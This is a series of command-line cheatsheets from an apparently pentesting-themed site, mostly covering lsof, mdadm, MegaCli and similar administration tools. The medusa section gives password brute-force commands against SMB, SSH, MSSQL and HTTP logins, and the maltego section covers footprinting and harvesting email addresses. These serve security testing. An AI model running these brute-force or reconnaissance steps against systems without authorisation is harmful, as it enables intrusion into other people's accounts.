░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
80 - 🖥️lsof
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the lsof command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ███████╗ ██████╗ ███████╗
# ██║ ██╔════╝██╔═══██╗██╔════╝
# ██║ ███████╗██║ ██║█████╗
# ██║ ╚════██║██║ ██║██╔══╝
# ███████╗███████║╚██████╔╝██║
# ╚══════╝╚══════╝ ╚═════╝ ╚═╝
# List all IPv4 network files
sudo lsof -i4
# List all IPv6 network files
sudo lsof -i6
# List all open sockets
lsof -i
# List all listening ports
lsof -Pnl +M -i4
# Find which program is using the port 80
lsof -i TCP:80
# List all connections to a specific host
lsof [email protected]
# List all processes accessing a particular file/directory
lsof </path/to/file>
# List all files open for a particular user
lsof -u <username>
# List all files/network connections a command is using
lsof -c <command-name>
# List all files a process has open
lsof -p <pid>
# List all files open mounted at /mount/point.
# Particularly useful for finding which process(es) are using a
# mounted USB stick or CD/DVD.
lsof +f -- </mount/point>
# See this primer: http://www.danielmiessler.com/study/lsof/
# for a number of other useful lsof tips
#==============================#
# CMD LSOF
#==============================##==============================#
lsof -a -i -u xyz
# allen Internetsockets interessiert die von Prozessen mit UID xyz geöffnet
lsof -d cwd,^0,^1,^2
#
lsof -p $pid
#
lsof +D /var/lib/apt/lists
# Show what files or filehandles are open in the specified directory.
lsof -Pan -i tcp -i udp
# Show all programs listening TCP/UDP ports. You may want to run this with superuser privileges.
lsof -i TCP:80
# Show what processes are using port 80 either locally or remotely. Need to be root for unowned processes.
lsof -iTCP:80 -sTCP:LISTEN
# The below command outputs, name of process/service using a specific port 80. To better understand run the following command on port 80, it will list all services/processes running on port.
# How to get lsof command
#==========================#
# lsof command generally comes pre-installed in many UNIX system. If you are getting -bash: lsof: command not found an error while using lsof then it could be that lsof is not in your PATH. just check /usr/bin or /usr/sbin folder for this command. If you don't find there then you can install it from source or you can ask your UNIX admin to do that for you.
# 1) How to list all open files by all process
#----------------------------------------------#
lsof
# Simply running lsof without any argument print all opened file and process. This is not particularly useful but a good starting point.
# 2) How to list all process which has opened a file
#-----------------------------------------------------#
lsof /home/someuser/somefile
# will list all the process which has opened this file. you can see the command, PID, user and full file path to find out the process.
# 3) How to find all opened files by a user
#--------------------------------------------#
# You can use lsof -u command to list all opened file by a user as shown below
lsof -u username
# You can provide comma separated list of users to find list of open files by multiple users as shown below
lsof -u user1,user2,user3
# You can do the same by providing -u option multiple times :
lsof -u user1 -u user2
# Here is a summary of all 10 examples of lsof command in UNIX:
# lsof command example to find all process listening on a port
# 4) How to list all files opened by a particular command
#------------------------------------------------------------#
# You can use lsof -c option to provide name of command and list down all the files opened by that command, for example, to list all file opened by java process, you can do this :
lsof -c java
# This is better than using grep for filtering, as instead of writing lsof | grep java, you can just write lsof -c java.
# You can also find all files opened by apache which runs as httpd as shown below :
lsof -c httpd
# Just like multiple users, you can also combine multiple processes name to list down files hold by them e.g.
lsof -c java -c httpd
# 5) How to find all files opened by a particular user and command
#-------------------------------------------------------------------#
# You can combine users and process name in one lsof command to list down all the files opened by a particular process or a particular user as shown below :
lsof -u root -c java
# This will list all files opened or hold by root user + all files opened by the java process. See The Linux Command Line: A Complete Introduction, a Linux lsof command Example
# 6) How to find files opened by USER and process
#-------------------------------------------------#
# Like previous option, you can also combine user and process by using lsof option '-a'. This is like AND logical operator and will only list files, which matches both options e.g.
lsof -a -u root - c java
# will only list files opened by java process which is running under root user
# 7) lsof with negation operator
#----------------------------------#
# Similar to AND and OR operator used earlier, you can also use negation operator with lsof command e.g.
lsof - u ^root
# will list all files opened by all user except root
# 8) How to list all open files by a process using PID
#-----------------------------------------------------#
# As I told, I mostly use lsof command to find all files opened by a particular process. In order to do that sometimes, I usually use grep command to filter lsof output by PID, but you can also use lsof -p option to do the same, as shown below :
lsof -p 17783
# will list all files opened by the process with PID 17783.
# List users and processes, you can also supply multiple PIDs to find files opened by multiple processes e.g. :
lsof -p 17783,17754,17984
# will list all files opened by the process with PIDs 17783,17754,17984. You can also see the Practical Guide to Linux Commands, Editors, and Shell Programming 3rd Edition by Mark G. Sobell to learn more about how to find a process in UNIX.
# How to use lsof command in UNIX and Linux
#==========================================#
# 9) How to list all network connection
#----------------------------------------#
# You can use lsof - i option to find all open network connections which is nothing but open internet sockets (TCP and UDP), for example
lsof -i
# You can further find all TPC connection by using tcp option as shown below :
lsof -i tcp
# Similarly, to find all open udp connections you can do :
lsof -i udp
# will list all process with open internet sockets.
# 10) How to find which process is using a port
#------------------------------------------------#
# Though you can do this with netstat command as well, you would be surprised to know that you can find all process using a particular TCP or UDP port using lsof command. For example :
lsof -i :19500
# will find the process which is using TCP or UDP port 19500
# You can even names defined in etc/services instead of port number e.g.
lsof -i :smtp
# will print process using the smtp port.
# You can also combine tcp and udp with port to do more specific search e.g. to find all process in UNIX which are uses tcp port number 19600 you can do following :
lsof -i tcp:19600
# and to find all process which is using UDP port 17600 you can use
lsof -i udp:17600
# That's all about 10 examples of lsof command in UNIX and Linux. As I said, it's incredibly useful to find the list of files opened by a particular process or to find all the process which holds a lock on a file. Since almost everything is a file in UNIX, you can use lsof to find out open socket, directory, symbolic link, internet socket and many others. You can also see lsof man page for full documentation and more options.
lsof -p 9105 | grep / | less
# Check what files pid 9105 has opened. I was checking to see if it opened a log file somewhere.
# What process is listening on port 1521?
lsof -P -i :1521 | grep LISTEN tnslsnr 11348 oracle 9u IPv4 158729213 0t0 TCP *:1521 (LISTEN)
# List open files
lsof -n
# Explanation: With the -n flag it will not try to resolve network numbers to host names for network files, making it run a bit faster.With the -c option you can select processes executing a matching command. And with the -t flag the output will be simply process ids without a header, suitable to use with kill. For example you can kill Google Chrome process gone crazy like this:
kill -HUP $(lsof -n -c /google/i -t)
# Here /google/i is a regular expression pattern with case insensitive matching.
# Linux shell processes discovery - to show processes which blocking files on file system (in the example filter by specific value)
lsof -n | awk '/sess_/'
lsof -i TCP:80
# Show what processes are using port 80 either locally or remotely. Need to be root for unowned processes.
lsof -Pan -i tcp -i udp
# show all listening TCP/UDP ports
# Show 10 Largest Open Files
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | sort -n -u | tail
# Explanation: Show the largest 10 currently open files, the size of those files in Megabytes, and the name of the process holding the file open.
# Kill a process running on port 8080
lsof -i :8080 | awk 'NR > 1 {print $2}' | xargs --no-run-if-empty kill
# Explanation: lsof lists open files (ls-o-f, get it?). lsof -i :8080 lists open files on address ending in :8080. The output looks like this
# COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
# chrome 2619 qymspace 149u IPv4 71595 0t0 TCP localhost:53878->localhost:http-alt (CLOSE_WAIT)`
# We use awk 'NR > 1 {print $2}' to print the second column for lines except the first. The result is a list of PIDs, which we pipe to xargs kill to kill.
# Limitations: The --no-run-if-empty option of xargs is available in GNU implementations, and typically not available in BSD implementations. Without this option, the one-liner will raise an error if there are no matches (no PIDs to kill).
## Related one-liners
# Kill a process running on port 8080
lsof -i :8080 | awk '{print $2}' | tail -n 1 | xargs kill
# Explanation: lsof lists open files (ls-o-f, get it?). lsof -i :8080 lists open files on address ending in :8080. The output looks like this
# COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
# chrome 2619 qymspace 149u IPv4 71595 0t0 TCP localhost:53878->localhost:http-alt (CLOSE_WAIT)`
# We pipe this input through awk to print column 2 using the command awk '{print $2}' to produce the output:
# PID
# 2533
# To remote the word PID from this output we use tail -n 1 to grab the last row 2533, We can now pass this process id to the kill command to kill it.
lsof +D /tmp
# Show what files or filehandles are open in the /tmp directory (if it's not a separate partition). This can be slow sometimes.
lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
# Find wich ports you probably want to open in your firewall on a fresh installed machine
# Print the processes that are either listening on TCP port 443 and connecting to port 443 on a remote host. Thanks @blind_coder
lsof -i TCP:443
# Show whats going on restoring files from a spectrum protect backup - spectrum protect's dsmc command shows file names and total amount of restore. This command shows which files are actually open and their siz in GB and highlights the change to the previous output
watch -n60 -d 'lsof -w /filesysname|grep -v NAME|awk '\''{$7=int($7/1073741824) " GB"; print $7, $9}'\'''
# Sample output
# Every 60.0s: lsof -w /filesysname|grep -v NAME|awk '{$7=int($7/1073741824) " GB"; print $7, $9}'
# Mon Sep 2 13:44:08 2019
# 6 GB /filesysname/dev_workspaces/tcga/data/urls_tp_2/files/79c77220-5759-41cb-8b70-8fdcd68fa856/TCGA-CG-5727-01A-11D-1598_121011_SN208_0435_BD1E43ACXX_s_3_rg.sorted.bam
# 10 GB /filesysname/dev_workspaces/tcga/data/urls_tp_2/files/85ca0eb9-8ca8-4f11-80e1-04c6d139c6f5/TCGA-BR-6801-01A-11D-1880_121220_SN1222_0164_BC1HJ3ACXX_s_5_rg.sorted.bam
# list current processes writing to hard drive
lsof | grep -e "[[:digit:]]\+w"
#==============================##==============================#
# CMD LSOF #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command lsof in a clear format. This allows users to quickly access the needed information for lsof without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for lsof are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
81 - 🖥️maltego
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the maltego command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗ █████╗ ██╗ ████████╗███████╗ ██████╗ ██████╗
# ████╗ ████║██╔══██╗██║ ╚══██╔══╝██╔════╝██╔════╝ ██╔═══██╗
# ██╔████╔██║███████║██║ ██║ █████╗ ██║ ███╗██║ ██║
# ██║╚██╔╝██║██╔══██║██║ ██║ ██╔══╝ ██║ ██║██║ ██║
# ██║ ╚═╝ ██║██║ ██║███████╗██║ ███████╗╚██████╔╝╚██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝ ╚═════╝ ╚═════╝
# To do a basic footprinting of a domain
Machines>"Run Machine">"Footprint L1"
# To do a footprinting and follow the every link of a domain
Machines>"Run Machine">"Footprint L2"
# To find a person's email address from a domain
Machines>"Run Machine">"Person - Email Address"
# To create a custom attack
Machines>"New Machine"
# To create a new data type
Manage>"New Entity Type"
# To run a transform on collected data
[In the graph, right click]>"Run Transform">[Select Transform]
# To create a new way to manipulate data
Manage>"Local Transform"
# To get latest transforms from currently set servers
Manage>"Discover Transforms">"Discover Transforms"
# To get transforms from specific servers
Manage>"Discover Transforms">"Discover Transforms (Advanced)"
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command maltego in a clear format. This allows users to quickly access the needed information for maltego without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for maltego are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
82 - 🖥️mathematica
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mathematica command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗ █████╗ ████████╗██╗ ██╗███████╗███╗ ███╗ █████╗ ████████╗██╗ ██████╗ █████╗
# ████╗ ████║██╔══██╗╚══██╔══╝██║ ██║██╔════╝████╗ ████║██╔══██╗╚══██╔══╝██║██╔════╝██╔══██╗
# ██╔████╔██║███████║ ██║ ███████║█████╗ ██╔████╔██║███████║ ██║ ██║██║ ███████║
# ██║╚██╔╝██║██╔══██║ ██║ ██╔══██║██╔══╝ ██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██╔══██║
# ██║ ╚═╝ ██║██║ ██║ ██║ ██║ ██║███████╗██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╗██║ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
# The Wolfram Language is the underlying language originally used in Mathematica,
# but now available for use in multiple contexts.
# See also:
# Mathematica language cheat sheets at /mathematica/
# list of pages: /mathematica/:list
# learn wolfram language: /mathematica/:learn
# search in pages: /mathematica/~keyword
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mathematica in a clear format. This allows users to quickly access the needed information for mathematica without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mathematica are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
83 - 🖥️mdadm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mdadm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██████╗ █████╗ ██████╗ ███╗ ███╗
# ████╗ ████║██╔══██╗██╔══██╗██╔══██╗████╗ ████║
# ██╔████╔██║██║ ██║███████║██║ ██║██╔████╔██║
# ██║╚██╔╝██║██║ ██║██╔══██║██║ ██║██║╚██╔╝██║
# ██║ ╚═╝ ██║██████╔╝██║ ██║██████╔╝██║ ╚═╝ ██║
# ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝
# For the sake of briefness, we use Bash "group compound" stanza:
# /dev/sd{a,b,...}1 => /dev/sda1 /dev/sdb1 ...
# Along the following variables:
# ${M} array identifier (/dev/md${M})
# ${D} device identifier (/dev/sd${D})
# ${P} partition identifier (/dev/sd${D}${P})
# Create (initialize) a new array
mdadm --create /dev/md${M} --level=raid5 --raid-devices=4 /dev/sd{a,b,c,d,e}${P} --spare-devices=/dev/sdf1
# Manually assemble (activate) an existing array
mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P}
# Automatically assemble (activate) all existing arrays
mdadm --assemble --scan
# Stop an assembled (active) array
mdadm --stop /dev/md${M}
# See array configuration
mdadm --query /dev/md${M}
# See array component configuration (dump superblock content)
mdadm --query --examine /dev/sd${D}${P}
# See detailed array confiration/status
mdadm --detail /dev/md${M}
# Save existing arrays configuration
# (MAY be required by initrd for successfull boot)
mdadm --detail --scan > /etc/mdadm/mdadm.conf
# Erase array component superblock
# (MUST do before reusing a partition for other purposes)
mdadm --zero-superblock /dev/sd${D}${P}
# Manually mark a component as failed
# (SHOULD when a device shows wear-and-tear signs, e.g. through SMART)
mdadm --manage /dev/md${M} --fail /dev/sd${D}${P}
# Remove a failed component
# (SHOULD before preemptively replacing a device, after failing it)
mdadm --manage /dev/md${M} --remove /dev/sd${D}${P}
# Prepare (format) a new device to replace a failed one
sfdisk -d /dev/sd${D,sane} | sfdisk /dev/sd${D,new}
# Add new component to an existing array
# (this will trigger the rebuild)
mdadm --manage /dev/md${M} --add /dev/sd${D,new}${P}
# See assembled (active) arrays status
cat /proc/mdstat
# Rename a device
# (SHOULD after hostname change; eg. name="$(hostname -s)")
mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} --name="${name}:${M}" --update=name
#==============================##==============================#
# CMD MDADM #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mdadm in a clear format. This allows users to quickly access the needed information for mdadm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mdadm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
84 - 🖥️medusa
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the medusa command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗███████╗██████╗ ██╗ ██╗███████╗ █████╗
# ████╗ ████║██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗
# ██╔████╔██║█████╗ ██║ ██║██║ ██║███████╗███████║
# ██║╚██╔╝██║██╔══╝ ██║ ██║██║ ██║╚════██║██╔══██║
# ██║ ╚═╝ ██║███████╗██████╔╝╚██████╔╝███████║██║ ██║
# ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
# To display all currently installed modules
medusa -d
# Display specific options for a module
medusa -M [module_name] -q
# Test all passwords in password file against the admin user on the host
# 192.168.1.20 via the SMB | SSH | MySQL | HTTP service
medusa -h 192.168.1.20 -u admin -P passwords.txt -M [smbnt | ssh | mssql | http]
# To brute force 10 hosts and 5 users concurrently (using Medusa's parallel features)
# Each of the 5 threads targeting a host will check a specific user
medusa -H hosts.txt -U users.txt -P passwords.txt -T 10 -t 5 -L -F -M smbnt
# Medusa allows username, password, and host data to be placed within the same file (the "combo" file).
# Possible combinations in the combo file:
# host:username:password
# host:username:
# host::
# :username:password
# :username:
# ::password
# host::password
# :id:lm:ntlm::: (PwDump files)
# To test each username/password entry in the file combo.txt
medusa -M smbnt -C combo.txt
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command medusa in a clear format. This allows users to quickly access the needed information for medusa without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for medusa are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
85 - 🖥️MegaCli
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the MegaCli command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗███████╗ ██████╗ █████╗ ██████╗██╗ ██╗
# ████╗ ████║██╔════╝██╔════╝ ██╔══██╗██╔════╝██║ ██║
# ██╔████╔██║█████╗ ██║ ███╗███████║██║ ██║ ██║
# ██║╚██╔╝██║██╔══╝ ██║ ██║██╔══██║██║ ██║ ██║
# ██║ ╚═╝ ██║███████╗╚██████╔╝██║ ██║╚██████╗███████╗██║
# ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝
# MegaCli introduced by LSI as a command line administration of LSI MegaRaid controllers.
# With megacli we can create physical raids, gather info about raids and monitor raids.
# Install MegaCLI
yum install MegaCli # CentOS
apt-get install megacli # Ubuntu
# Controller information
MegaCli -AdpAllInfo -aALL
MegaCli -CfgDsply -aALL
# Enclosure information
MegaCli -EncInfo -aALL
# Virtual drive information
MegaCli -LDInfo -Lall -aALL
# Physical drive information
MegaCli -PDList -aALL
MegaCli -PDInfo -PhysDrv [E:S] -aALL
# Battery backup information
MegaCli -AdpBbuCmd -aALL
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command MegaCli in a clear format. This allows users to quickly access the needed information for MegaCli without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for MegaCli are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
86 - 🖥️mhwd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mhwd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗██╗ ██╗██████╗
# ████╗ ████║██║ ██║██║ ██║██╔══██╗
# ██╔████╔██║███████║██║ █╗ ██║██║ ██║
# ██║╚██╔╝██║██╔══██║██║███╗██║██║ ██║
# ██║ ╚═╝ ██║██║ ██║╚███╔███╔╝██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═════╝
# Manjaro Hardware Detection
# https://wiki.manjaro.org/index.php?title=Manjaro_Hardware_Detection_Overview
# An overview of hardware
mhwd
# List hardware information
# in detailed mode (-d)
mhwd -lh -d
# List installed driver information
mhwd -li -d
# Automated detection and installation of Graphics Drivers
# https://wiki.manjaro.org/index.php?title=Configure_Graphics_Cards
# Best available proprietary driver for a pci-connected graphics card
sudo mhwd -a pci nonfree 0300
# Best available free driver for a pci-connected graphics card
sudo mhwd -a pci free 0300
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mhwd in a clear format. This allows users to quickly access the needed information for mhwd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mhwd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
87 - 🖥️misc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the misc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗███████╗ ██████╗
# ████╗ ████║██║██╔════╝██╔════╝
# ██╔████╔██║██║███████╗██║
# ██║╚██╔╝██║██║╚════██║██║
# ██║ ╚═╝ ██║██║███████║╚██████╗
# ╚═╝ ╚═╝╚═╝╚══════╝ ╚═════╝
# list bosh2 deployments
bosh deployments --json | jq '.Tables[0].Rows[][0]' --raw-output
geoiplookup 73.250.181.107
# Find out what country/state/city an IP is probably "located" in. No browser required (geoip-bin dpkg)
rlwrap nc smtp.example 25
